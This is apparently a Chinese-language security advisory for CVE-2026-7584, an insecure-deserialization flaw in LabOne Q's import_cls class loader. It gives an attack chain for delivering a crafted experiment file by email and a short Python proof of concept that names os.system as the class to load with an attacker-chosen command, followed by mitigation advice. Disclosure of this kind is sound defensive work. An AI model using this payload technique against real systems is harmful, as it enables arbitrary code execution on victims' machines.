IPBUF安全漏洞报告
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CVE-2026-7584 CVSS 7.8 高危

CVE-2026-7584 LabOne Q 反序列化漏洞致任意代码执行

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-7584
漏洞类型
反序列化漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
LabOne Q

相关标签

反序列化任意代码执行LabOne QPythonCVE-2026-7584

漏洞概述

LabOne Q序列化框架存在不安全的反序列化漏洞。其类加载机制import_cls在处理数据时未对目标类进行验证,允许从序列化数据中动态导入任意类。攻击者可利用此漏洞构造恶意实验文件,诱导受害者使用LabOne Q加载。一旦加载,反序列化引擎将执行任意Python代码,导致系统被攻击者控制。

技术细节

该漏洞的核心在于LabOne Q的序列化框架使用了名为`import_cls`的类加载机制。在反序列化过程中,该机制盲目信任序列化数据中提供的完全限定类名,并未对允许加载的模块或类实施任何白名单或安全限制。攻击者可以构造特制的实验文件,在文件中指定危险的系统类(如`os.system`或`subprocess.Popen`)以及构造函数参数。当受害者在LabOne Q软件中打开这个恶意文件时,软件会解析数据并调用`import_cls`。由于缺乏校验,程序会导入攻击者指定的类并实例化,进而执行系统命令。由于攻击发生在用户进程上下文中,攻击者可获得与当前用户相同的系统权限,实现完全的任意代码执行。

攻击链分析

STEP 1
1. 武器化
攻击者分析LabOne Q的序列化格式,构造包含恶意Python类路径(如os.system)和参数的特制实验文件。
STEP 2
2. 传递
攻击者通过电子邮件、文件共享或协作平台将恶意实验文件发送给目标用户。
STEP 3
3. 利用
目标用户诱导LabOne Q软件打开并加载该恶意文件。
STEP 4
4. 执行
LabOne Q的反序列化引擎解析文件,调用`import_cls`机制,导入恶意类并实例化,执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-7584 # This script demonstrates how to craft a payload that exploits the insecure import_cls mechanism. import json import os # Simulating the vulnerable class loading behavior # In the actual vulnerability, this is triggered by deserializing a LabOne Q file. def vulnerable_import_cls(class_path, args): # This simulates the lack of validation in the vulnerable LabOne Q version module_path, class_name = class_path.rsplit('.', 1) module = __import__(module_path, fromlist=[class_name]) cls = getattr(module, class_name) return cls(*args) # Malicious payload structure # The attacker specifies a dangerous class and arguments malicious_payload = { "class_to_load": "os.system", # Arbitrary class path "arguments": ["echo 'CVE-2026-7584 Exploited'"] # Attacker-controlled arguments } print(f"[*] Crafting malicious payload: {malicious_payload}") try: # Simulating the victim loading the malicious file print("[*] Victim loads the malicious experiment file...") result = vulnerable_import_cls( malicious_payload['class_to_load'], malicious_payload['arguments'] ) print(f"[!] Code executed. Return value: {result}") except Exception as e: print(f"[Error] {e}")

影响范围

LabOne Q (修复前版本)

防御指南

临时缓解措施
在未应用补丁之前,建议用户谨慎对待来源不明的LabOne Q实验文件,不要直接加载。此外,尽量以非管理员权限运行LabOne Q,以限制代码执行后的系统影响范围。

参考链接

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